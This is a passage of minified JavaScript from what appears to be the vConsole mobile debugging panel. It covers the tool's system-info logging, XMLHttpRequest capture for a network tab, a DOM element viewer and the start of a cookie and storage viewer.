0===(__WEBPACK_AMD_DEFINE_RESULT__="function"==typeof(__WEBPACK_AMD_DEFINE_FACTORY__=factory)?__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports,__WEBPACK_AMD_DEFINE_ARRAY__):__WEBPACK_AMD_DEFINE_FACTORY__)||(module.exports=__WEBPACK_AMD_DEFINE_RESULT__)},function(e,t){e.exports='<div>\n  <div class="vc-log"></div>\n  <form class="vc-cmd">\n    <button class="vc-cmd-btn" type="submit">OK</button>\n    <ul class=\'vc-cmd-prompted\'></ul>\n    <div class="vc-cmd-input-wrap">\n      <textarea class="vc-cmd-input" placeholder="command..."></textarea>\n    </div>\n  </form>\n</div>'},function(e,t){e.exports='<pre class="vc-item-code vc-item-code-{{type}}">{{content}}</pre>'},function(e,t,o){var n,r,i;r=[t,o(3),o(25)],void 0===(i="function"==typeof(n=function(o,n,r){"use strict";function i(e){return e&&e.__esModule?e:{default:e}}function a(e){return(a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function l(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function c(e,t){return!t||"object"!==a(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function s(e,t,o){return(s="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,o){var n=function(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=d(e)););return e}(e,t);if(n){var r=Object.getOwnPropertyDescriptor(n,t);return r.get?r.get.call(o):r.value}})(e,t,o||e)}function d(e){return(d=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function u(e,t){return(u=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=i(n),r=i(r);var v=function(e){function t(){var e,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var n=arguments.length,i=new Array(n),a=0;a<n;a++)i[a]=arguments[a];return(o=c(this,(e=d(t)).call.apply(e,[this].concat(i)))).tplTabbox=r.default,o.allowUnformattedLog=!1,o}var o,i,a;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&u(e,t)}(t,n.default),o=t,(i=[{key:"onInit",value:function(){s(d(t.prototype),"onInit",this).call(this),this.printSystemInfo()}},{key:"printSystemInfo",value:function(){var e=navigator.userAgent,t="",o=e.match(/(ipod).*\s([\d_]+)/i),n=e.match(/(ipad).*\s([\d_]+)/i),r=e.match(/(iphone)\sos\s([\d_]+)/i),i=e.match(/(android)\s([\d\.]+)/i);t="Unknown",i?t="Android "+i[2]:r?t="iPhone, iOS "+r[2].replace(/_/g,"."):n?t="iPad, iOS "+n[2].replace(/_/g,"."):o&&(t="iPod, iOS "+o[2].replace(/_/g,"."));var a=t,l=e.match(/MicroMessenger\/([\d\.]+)/i);t="Unknown",l&&l[1]?(a+=", WeChat "+(t=l[1]),console.info("[system]","System:",a)):console.info("[system]","System:",a),t="Unknown",a=t="https:"==location.protocol?"HTTPS":"http:"==location.protocol?"HTTP":location.protocol.replace(":","");var c=e.toLowerCase().match(/ nettype\/([^ ]+)/g);t="Unknown",c&&c[0]?(a+=", "+(t=(c=c[0].split("/"))[1]),console.info("[system]","Network:",a)):console.info("[system]","Protocol:",a),console.info("[system]","UA:",e),setTimeout(function(){var e=window.performance||window.msPerformance||window.webkitPerformance;if(e&&e.timing){var t=e.timing;t.navigationStart&&console.info("[system]","navigationStart:",t.navigationStart),t.navigationStart&&t.domainLookupStart&&console.info("[system]","navigation:",t.domainLookupStart-t.navigationStart+"ms"),t.domainLookupEnd&&t.domainLookupStart&&console.info("[system]","dns:",t.domainLookupEnd-t.domainLookupStart+"ms"),t.connectEnd&&t.connectStart&&(t.connectEnd&&t.secureConnectionStart?console.info("[system]","tcp (ssl):",t.connectEnd-t.connectStart+"ms ("+(t.connectEnd-t.secureConnectionStart)+"ms)"):console.info("[system]","tcp:",t.connectEnd-t.connectStart+"ms")),t.responseStart&&t.requestStart&&console.info("[system]","request:",t.responseStart-t.requestStart+"ms"),t.responseEnd&&t.responseStart&&console.info("[system]","response:",t.responseEnd-t.responseStart+"ms"),t.domComplete&&t.domLoading&&(t.domContentLoadedEventStart&&t.domLoading?console.info("[system]","domComplete (domLoaded):",t.domComplete-t.domLoading+"ms ("+(t.domContentLoadedEventStart-t.domLoading)+"ms)"):console.info("[system]","domComplete:",t.domComplete-t.domLoading+"ms")),t.loadEventEnd&&t.loadEventStart&&console.info("[system]","loadEvent:",t.loadEventEnd-t.loadEventStart+"ms"),t.navigationStart&&t.loadEventEnd&&console.info("[system]","total (DOM):",t.loadEventEnd-t.navigationStart+"ms ("+(t.domComplete-t.navigationStart)+"ms)")}},0)}}])&&l(o.prototype,i),a&&l(o,a),t}();o.default=v,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t){e.exports='<div>\n  <div class="vc-log"></div>\n</div>'},function(e,t,o){var n,r,i;r=[t,o(1),o(0),o(2),o(27),o(28),o(29)],void 0===(i="function"==typeof(n=function(o,n,r,i,a,l,c){"use strict";function s(e){return e&&e.__esModule?e:{default:e}}function d(e){return(d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function u(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function v(e,t){return!t||"object"!==d(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function f(e){return(f=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function p(e,t){return(p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=s(n),r=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(r),i=s(i),a=s(a),l=s(l),c=s(c);var b=function(e){function t(){var e,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var r=arguments.length,i=new Array(r),l=0;l<r;l++)i[l]=arguments[l];return(o=v(this,(e=f(t)).call.apply(e,[this].concat(i)))).$tabbox=n.default.render(a.default,{}),o.$header=null,o.reqList={},o.domList={},o.isReady=!1,o.isShow=!1,o.isInBottom=!0,o._open=void 0,o._send=void 0,o.mockAjax(),o}var o,s,d;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&p(e,t)}(t,i.default),o=t,(s=[{key:"onRenderTab",value:function(e){e(this.$tabbox)}},{key:"onAddTool",value:function(e){var t=this;e([{name:"Clear",global:!1,onClick:function(e){t.clearLog()}}])}},{key:"onReady",value:function(){var e=this;e.isReady=!0,this.renderHeader(),n.default.delegate(n.default.one(".vc-log",this.$tabbox),"click",".vc-group-preview",function(t){var o=this.dataset.reqid,r=this.parentNode;n.default.hasClass(r,"vc-actived")?(n.default.removeClass(r,"vc-actived"),e.updateRequest(o,{actived:!1})):(n.default.addClass(r,"vc-actived"),e.updateRequest(o,{actived:!0})),t.preventDefault()});var t=n.default.one(".vc-content");for(var o in n.default.bind(t,"scroll",function(o){e.isShow&&(t.scrollTop+t.offsetHeight>=t.scrollHeight?e.isInBottom=!0:e.isInBottom=!1)}),e.reqList)e.updateRequest(o,{})}},{key:"onRemove",value:function(){window.XMLHttpRequest&&(window.XMLHttpRequest.prototype.open=this._open,window.XMLHttpRequest.prototype.send=this._send,this._open=void 0,this._send=void 0)}},{key:"onShow",value:function(){this.isShow=!0,1==this.isInBottom&&this.scrollToBottom()}},{key:"onHide",value:function(){this.isShow=!1}},{key:"onShowConsole",value:function(){1==this.isInBottom&&this.scrollToBottom()}},{key:"scrollToBottom",value:function(){var e=n.default.one(".vc-content");e.scrollTop=e.scrollHeight-e.offsetHeight}},{key:"clearLog",value:function(){for(var e in this.reqList={},this.domList)this.domList[e].parentNode.removeChild(this.domList[e]),this.domList[e]=void 0;this.domList={},this.renderHeader()}},{key:"renderHeader",value:function(){var e=Object.keys(this.reqList).length,t=n.default.render(l.default,{count:e}),o=n.default.one(".vc-log",this.$tabbox);this.$header?this.$header.parentNode.replaceChild(t,this.$header):o.parentNode.insertBefore(t,o),this.$header=t}},{key:"updateRequest",value:function(e,t){var o=Object.keys(this.reqList).length,i=this.reqList[e]||{};for(var a in t)i[a]=t[a];if(this.reqList[e]=i,this.isReady){var l={id:e,url:i.url,status:i.status,method:i.method||"-",costTime:i.costTime>0?i.costTime+"ms":"-",header:i.header||null,getData:i.getData||null,postData:i.postData||null,response:null,actived:!!i.actived};switch(i.responseType){case"":case"text":if(r.isString(i.response))try{l.response=JSON.parse(i.response),l.response=JSON.stringify(l.response,null,1),l.response=r.htmlEncode(l.response)}catch(e){l.response=r.htmlEncode(i.response)}else void 0!==i.response&&(l.response=Object.prototype.toString.call(i.response));break;case"json":void 0!==i.response&&(l.response=JSON.stringify(i.response,null,1),l.response=r.htmlEncode(l.response));break;case"blob":case"document":case"arraybuffer":default:void 0!==i.response&&(l.response=Object.prototype.toString.call(i.response))}0==i.readyState||1==i.readyState?l.status="Pending":2==i.readyState||3==i.readyState?l.status="Loading":4==i.readyState||(l.status="Unknown");var s=n.default.render(c.default,l),d=this.domList[e];i.status>=400&&n.default.addClass(n.default.one(".vc-group-preview",s),"vc-table-row-error"),d?d.parentNode.replaceChild(s,d):n.default.one(".vc-log",this.$tabbox).insertAdjacentElement("beforeend",s),this.domList[e]=s,Object.keys(this.reqList).length!=o&&this.renderHeader(),this.isInBottom&&this.scrollToBottom()}}},{key:"mockAjax",value:function(){if(window.XMLHttpRequest){var e=this,t=window.XMLHttpRequest.prototype.open,o=window.XMLHttpRequest.prototype.send;e._open=t,e._send=o,window.XMLHttpRequest.prototype.open=function(){var o=this,n=[].slice.call(arguments),r=n[0],i=n[1],a=e.getUniqueID(),l=null;o._requestID=a,o._method=r,o._url=i;var c=o.onreadystatechange||function(){},s=function(){var t=e.reqList[a]||{};if(t.readyState=o.readyState,t.status=0,o.readyState>1&&(t.status=o.status),t.responseType=o.responseType,0==o.readyState)t.startTime||(t.startTime=+new Date);else if(1==o.readyState)t.startTime||(t.startTime=+new Date);else if(2==o.readyState){t.header={};for(var n=o.getAllResponseHeaders()||"",r=n.split("\n"),i=0;i<r.length;i++){var s=r[i];if(s){var d=s.split(": "),u=d[0],v=d.slice(1).join(": ");t.header[u]=v}}}else 3==o.readyState||(4==o.readyState?(clearInterval(l),t.endTime=+new Date,t.costTime=t.endTime-(t.startTime||t.endTime),t.response=o.response):clearInterval(l));return o._noVConsole||e.updateRequest(a,t),c.apply(o,arguments)};o.onreadystatechange=s;var d=-1;return l=setInterval(function(){d!=o.readyState&&(d=o.readyState,s.call(o))},10),t.apply(o,n)},window.XMLHttpRequest.prototype.send=function(){var t=this,n=[].slice.call(arguments),i=n[0],a=e.reqList[t._requestID]||{};a.method=t._method.toUpperCase();var l=t._url.split("?");if(a.url=l.shift(),l.length>0){a.getData={},l=(l=l.join("?")).split("&");var c=!0,s=!1,d=void 0;try{for(var u,v=l[Symbol.iterator]();!(c=(u=v.next()).done);c=!0){var f=u.value;f=f.split("="),a.getData[f[0]]=decodeURIComponent(f[1])}}catch(e){s=!0,d=e}finally{try{c||null==v.return||v.return()}finally{if(s)throw d}}}if("POST"==a.method)if(r.isString(i)){var p=i.split("&");a.postData={};var b=!0,g=!1,h=void 0;try{for(var m,y=p[Symbol.iterator]();!(b=(m=y.next()).done);b=!0){var _=m.value;_=_.split("="),a.postData[_[0]]=_[1]}}catch(e){g=!0,h=e}finally{try{b||null==y.return||y.return()}finally{if(g)throw h}}}else r.isPlainObject(i)&&(a.postData=i);return t._noVConsole||e.updateRequest(t._requestID,a),o.apply(t,n)}}}},{key:"getUniqueID",value:function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)})}}])&&u(o.prototype,s),d&&u(o,d),t}();o.default=b,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t){e.exports='<div class="vc-table">\n  <div class="vc-log"></div>\n</div>'},function(e,t){e.exports='<dl class="vc-table-row">\n  <dd class="vc-table-col vc-table-col-4">Name {{if (count > 0)}}({{count}}){{/if}}</dd>\n  <dd class="vc-table-col">Method</dd>\n  <dd class="vc-table-col">Status</dd>\n  <dd class="vc-table-col">Time</dd>\n</dl>'},function(e,t){e.exports='<div class="vc-group {{actived ? \'vc-actived\' : \'\'}}">\n  <dl class="vc-table-row vc-group-preview" data-reqid="{{id}}">\n    <dd class="vc-table-col vc-table-col-4">{{url}}</dd>\n    <dd class="vc-table-col">{{method}}</dd>\n    <dd class="vc-table-col">{{status}}</dd>\n    <dd class="vc-table-col">{{costTime}}</dd>\n  </dl>\n  <div class="vc-group-detail">\n    {{if (header !== null)}}\n    <div>\n      <dl class="vc-table-row vc-left-border">\n        <dt class="vc-table-col vc-table-col-title">Headers</dt>\n      </dl>\n      {{for (var key in header)}}\n      <div class="vc-table-row vc-left-border vc-small">\n        <div class="vc-table-col vc-table-col-2">{{key}}</div>\n        <div class="vc-table-col vc-table-col-4 vc-max-height-line">{{header[key]}}</div>\n      </div>\n      {{/for}}\n    </div>\n    {{/if}}\n    {{if (getData !== null)}}\n    <div>\n      <dl class="vc-table-row vc-left-border">\n        <dt class="vc-table-col vc-table-col-title">Query String Parameters</dt>\n      </dl>\n      {{for (var key in getData)}}\n      <div class="vc-table-row vc-left-border vc-small">\n        <div class="vc-table-col vc-table-col-2">{{key}}</div>\n        <div class="vc-table-col vc-table-col-4 vc-max-height-line">{{getData[key]}}</div>\n      </div>\n      {{/for}}\n    </div>\n    {{/if}}\n    {{if (postData !== null)}}\n    <div>\n      <dl class="vc-table-row vc-left-border">\n        <dt class="vc-table-col vc-table-col-title">Form Data</dt>\n      </dl>\n      {{for (var key in postData)}}\n      <div class="vc-table-row vc-left-border vc-small">\n        <div class="vc-table-col vc-table-col-2">{{key}}</div>\n        <div class="vc-table-col vc-table-col-4 vc-max-height-line">{{postData[key]}}</div>\n      </div>\n      {{/for}}\n    </div>\n    {{/if}}\n    <div>\n      <dl class="vc-table-row vc-left-border">\n        <dt class="vc-table-col vc-table-col-title">Response</dt>\n      </dl>\n      <div class="vc-table-row vc-left-border vc-small">\n        <pre class="vc-table-col vc-max-height vc-min-height">{{response || \'\'}}</pre>\n      </div>\n    </div>\n  </div>\n</div>'},function(e,t,o){var n,r,i;r=[t,o(31),o(2),o(33),o(34),o(0),o(1)],void 0===(i="function"==typeof(n=function(o,n,r,i,a,l,c){"use strict";function s(e){return e&&e.__esModule?e:{default:e}}function d(e){return(d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function u(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function v(e){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function f(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function p(e,t){return(p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,r=s(r),i=s(i),a=s(a),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(l),c=s(c);var b=function(e){function t(){var e,o,n,r;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var a=arguments.length,l=new Array(a),s=0;s<a;s++)l[s]=arguments[s];n=this,o=!(r=(e=v(t)).call.apply(e,[this].concat(l)))||"object"!==d(r)&&"function"!=typeof r?f(n):r;var u=f(o);u.isInited=!1,u.node={},u.$tabbox=c.default.render(i.default,{}),u.nodes=[],u.activedElem={};var p=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;return u.observer=new p(function(e){for(var t=0;t<e.length;t++){var o=e[t];u._isInVConsole(o.target)||u.onMutation(o)}}),o}var o,n,l;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&p(e,t)}(t,r.default),o=t,(n=[{key:"onRenderTab",value:function(e){e(this.$tabbox)}},{key:"onAddTool",value:function(e){var t=this;e([{name:"Expand",global:!1,onClick:function(e){if(t.activedElem)if(c.default.hasClass(t.activedElem,"vc-toggle"))for(var o=0;o<t.activedElem.childNodes.length;o++){var n=t.activedElem.childNodes[o];if(c.default.hasClass(n,"vcelm-l")&&!c.default.hasClass(n,"vcelm-noc")&&!c.default.hasClass(n,"vc-toggle")){c.default.one(".vcelm-node",n).click();break}}else c.default.one(".vcelm-node",t.activedElem).click()}},{name:"Collapse",global:!1,onClick:function(e){t.activedElem&&(c.default.hasClass(t.activedElem,"vc-toggle")?c.default.one(".vcelm-node",t.activedElem).click():t.activedElem.parentNode&&c.default.hasClass(t.activedElem.parentNode,"vcelm-l")&&c.default.one(".vcelm-node",t.activedElem.parentNode).click())}}])}},{key:"onShow",value:function(){if(!this.isInited){this.isInited=!0,this.node=this.getNode(document.documentElement);var e=this.renderView(this.node,c.default.one(".vc-log",this.$tabbox)),t=c.default.one(".vcelm-node",e);t&&t.click(),this.observer.observe(document.documentElement,{attributes:!0,childList:!0,characterData:!0,subtree:!0})}}},{key:"onRemove",value:function(){this.observer.disconnect()}},{key:"onMutation",value:function(e){switch(e.type){case"childList":e.removedNodes.length>0&&this.onChildRemove(e),e.addedNodes.length>0&&this.onChildAdd(e);break;case"attributes":this.onAttributesChange(e);break;case"characterData":this.onCharacterDataChange(e)}}},{key:"onChildRemove",value:function(e){var t=e.target;if(t.__vconsole_node){for(var o=0;o<e.removedNodes.length;o++){var n=e.removedNodes[o].__vconsole_node;n&&n.view&&n.view.parentNode.removeChild(n.view)}this.getNode(t)}}},{key:"onChildAdd",value:function(e){var t=e.target,o=t.__vconsole_node;if(o){this.getNode(t),o.view&&c.default.removeClass(o.view,"vcelm-noc");for(var n=0;n<e.addedNodes.length;n++){var r=e.addedNodes[n].__vconsole_node;if(r)if(null!==e.nextSibling){var i=e.nextSibling.__vconsole_node;i.view&&this.renderView(r,i.view,"insertBefore")}else o.view&&(o.view.lastChild?this.renderView(r,o.view.lastChild,"insertBefore"):this.renderView(r,o.view))}}}},{key:"onAttributesChange",value:function(e){var t=e.target.__vconsole_node;t&&(t=this.getNode(e.target)).view&&this.renderView(t,t.view,!0)}},{key:"onCharacterDataChange",value:function(e){var t=e.target.__vconsole_node;t&&(t=this.getNode(e.target)).view&&this.renderView(t,t.view,!0)}},{key:"renderView",value:function(e,t,o){var n=this,r=new a.default(e).get();switch(e.view=r,c.default.delegate(r,"click",".vcelm-node",function(t){t.stopPropagation();var o=this.parentNode;if(!c.default.hasClass(o,"vcelm-noc")){n.activedElem=o,c.default.hasClass(o,"vc-toggle")?c.default.removeClass(o,"vc-toggle"):c.default.addClass(o,"vc-toggle");for(var r=-1,i=0;i<o.children.length;i++){var a=o.children[i];c.default.hasClass(a,"vcelm-l")&&(r++,a.children.length>0||(e.childNodes[r]?n.renderView(e.childNodes[r],a,"replace"):a.style.display="none"))}}}),o){case"replace":t.parentNode.replaceChild(r,t);break;case"insertBefore":t.parentNode.insertBefore(r,t);break;default:t.appendChild(r)}return r}},{key:"getNode",value:function(e){if(!this._isIgnoredElement(e)){var t=e.__vconsole_node||{};if(t.nodeType=e.nodeType,t.nodeName=e.nodeName,t.tagName=e.tagName||"",t.textContent="",t.nodeType!=e.TEXT_NODE&&t.nodeType!=e.DOCUMENT_TYPE_NODE||(t.textContent=e.textContent),t.id=e.id||"",t.className=e.className||"",t.attributes=[],e.hasAttributes&&e.hasAttributes())for(var o=0;o<e.attributes.length;o++)t.attributes.push({name:e.attributes[o].name,value:e.attributes[o].value||""});if(t.childNodes=[],e.childNodes.length>0)for(var n=0;n<e.childNodes.length;n++){var r=this.getNode(e.childNodes[n]);r&&t.childNodes.push(r)}return e.__vconsole_node=t,t}}},{key:"_isIgnoredElement",value:function(e){return e.nodeType==e.TEXT_NODE&&""==e.textContent.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$|\n+/g,"")}},{key:"_isInVConsole",value:function(e){for(var t=e;null!=t;){if("__vconsole"==t.id)return!0;t=t.parentNode||void 0}return!1}}])&&u(o.prototype,n),l&&u(o,l),t}();o.default=b,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t,o){var n=o(32);"string"==typeof n&&(n=[[e.i,n,""]]);var r={insert:"head",singleton:!1};o(5)(n,r);n.locals&&(e.exports=n.locals)},function(e,t,o){(e.exports=o(4)(!1)).push([e.i,'/* color */\n.vcelm-node {\n  color: #183691;\n}\n.vcelm-k {\n  color: #0086B3;\n}\n.vcelm-v {\n  color: #905;\n}\n/* layout */\n.vcelm-l {\n  padding-left: 8px;\n  position: relative;\n  word-wrap: break-word;\n  line-height: 1;\n}\n/*.vcelm-l.vcelm-noc {\n  padding-left: 0;\n}*/\n.vcelm-l.vc-toggle > .vcelm-node {\n  display: block;\n}\n.vcelm-l .vcelm-node:active {\n  background-color: rgba(0, 0, 0, 0.15);\n}\n.vcelm-l.vcelm-noc .vcelm-node:active {\n  background-color: transparent;\n}\n.vcelm-t {\n  white-space: pre-wrap;\n  word-wrap: break-word;\n}\n/* level */\n.vcelm-l .vcelm-l {\n  display: none;\n}\n.vcelm-l.vc-toggle > .vcelm-l {\n  margin-left: 4px;\n  display: block;\n}\n/* arrow */\n.vcelm-l:before {\n  content: "";\n  display: block;\n  position: absolute;\n  top: 6px;\n  left: 3px;\n  width: 0;\n  height: 0;\n  border: transparent solid 3px;\n  border-left-color: #000;\n}\n.vcelm-l.vc-toggle:before {\n  display: block;\n  top: 6px;\n  left: 0;\n  border-top-color: #000;\n  border-left-color: transparent;\n}\n.vcelm-l.vcelm-noc:before {\n  display: none;\n}\n',""])},function(e,t){e.exports='<div>\n  <div class="vc-log"></div>\n</div>'},function(e,t,o){var n,r,i;r=[t,o(35),o(36),o(0),o(1)],void 0===(i="function"==typeof(n=function(o,n,r,i,a){"use strict";function l(e){return e&&e.__esModule?e:{default:e}}function c(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=l(n),r=l(r),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(i),a=l(a);var s=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.node=t,this.view=this._create(this.node)}var t,o,i;return t=e,(o=[{key:"get",value:function(){return this.view}},{key:"_create",value:function(e,t){var o=document.createElement("DIV");switch(a.default.addClass(o,"vcelm-l"),e.nodeType){case o.ELEMENT_NODE:this._createElementNode(e,o);break;case o.TEXT_NODE:this._createTextNode(e,o);break;case o.COMMENT_NODE:case o.DOCUMENT_NODE:case o.DOCUMENT_TYPE_NODE:case o.DOCUMENT_FRAGMENT_NODE:}return o}},{key:"_createTextNode",value:function(e,t){a.default.addClass(t,"vcelm-t vcelm-noc"),e.textContent&&t.appendChild(function(e){return document.createTextNode(e)}(e.textContent.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,"")))}},{key:"_createElementNode",value:function(e,t){var o,i=(o=(o=e.tagName)?o.toLowerCase():"",["br","hr","img","input","link","meta"].indexOf(o)>-1),l=i;0==e.childNodes.length&&(l=!0);var c=a.default.render(n.default,{node:e}),s=a.default.render(r.default,{node:e});if(l)a.default.addClass(t,"vcelm-noc"),t.appendChild(c),i||t.appendChild(s);else{t.appendChild(c);for(var d=0;d<e.childNodes.length;d++){var u=document.createElement("DIV");a.default.addClass(u,"vcelm-l"),t.appendChild(u)}i||t.appendChild(s)}}}])&&c(t.prototype,o),i&&c(t,i),e}();o.default=s,e.exports=t.default})?n.apply(t,r):n)||(e.exports=i)},function(e,t){e.exports='<span class="vcelm-node">&lt;{{node.tagName.toLowerCase()}}{{if (node.className || node.attributes.length)}}\n  <i class="vcelm-k">\n    {{for (var i = 0; i < node.attributes.length; i++)}}\n      {{if (node.attributes[i].value !== \'\')}}\n        {{node.attributes[i].name}}="<i class="vcelm-v">{{node.attributes[i].value}}</i>"{{else}}\n        {{node.attributes[i].name}}{{/if}}{{/for}}</i>{{/if}}&gt;</span>'},function(e,t){e.exports='<span class="vcelm-node">&lt;/{{node.tagName.toLowerCase()}}&gt;</span>'},function(e,t,o){var n,r,i;r=[t,o(2),o(38),o(39),o(0),o(1)],void 0===(i="function"==typeof(n=function(o,n,r,i,a,l){"use strict";function c(e){return e&&e.__esModule?e:{default:e}}function s(e){return(s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function d(e,t){for(var o=0;o<t.length;o++){var n=t[o];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function u(e,t){return!t||"object"!==s(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function v(e){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function f(e,t){return(f=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0,n=c(n),r=c(r),i=c(i),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var o in e)if(Object.prototype.hasOwnProperty.call(e,o)){var n=Object.defineProperty&&Object.getOwnPropertyDescriptor?Object.getOwnPropertyDescriptor(e,o):{};n.get||n.set?Object.defineProperty(t,o,n):t[o]=e[o]}return t.default=e,t}(a),l=c(l);var p=function(e){function t(){var e,o;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);for(var n=arguments.length,i=new Array(n),a=0;a<n;a++)i[a]=arguments[a];return(o=u(this,(e=v(t)).call.apply(e,[this].concat(i)))).$tabbox=l.default.render(r.default,{}),o.currentType="",o.typeNameMap={cookies:"Cookies",localstorage:"LocalStorage",sessionstorage:"SessionStorage"},o}var o,c,s;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&f(e,t)}(t,n.default),o=t,(c=[{key:"onRenderTab",value:function(e){e(this.$tabbox)}},{key:"onAddTopBar",value:function(e){for(var t=this,o=["Cookies","LocalStorage","SessionStorage"],n=[],r=0;r<o.length;r++)n.push({name:o[r],data:{type:o[r].toLowerCase()},className:"",onClick:function(){if(l.default.hasClass(this,"vc-actived"))return!1;t.currentType=this.dataset.type,t.renderStorage()}});n[0].className="vc-actived",e(n)}},{key:"onAddTool",value:function(e){var t=this;e([{name:"Refresh",global:!1,onClick:function(e){t.renderStorage()}},{name:"Clear",global:!1,onClick:function(e){t.clearLog()}}])}},{key:"onReady",value:function(){}},{key:"onShow",value:function(){""==this.currentType&&(this.currentType="cookies",this.renderStorage())}},{key:"clearLog",value:function(){if(this.currentType&&window.confirm&&!window.confirm("Remove all "+this.typeNameMap[this.currentType]+"?"))return!1;switch(this.currentType){case"cookies":this.clearCookieList();break;case"localstorage":this.clearLocalStorageList();break;case"sessionstorage":this.clearSessionStorageList();break;default:return!1}this.renderStorage()}},{key:"renderStorage",value:function(){var e=[];switch(this.currentType){case"cookies":e=this.getCookieList();break;case"localstorage":e=this.getLocalStorageList();break;case"sessionstorage":e=this.getSessionStorageList();break;default:return!1}var t=l.default.one(".vc-log",this.$tabbox);if(0==e.length)t.innerHTML="";else{for(var 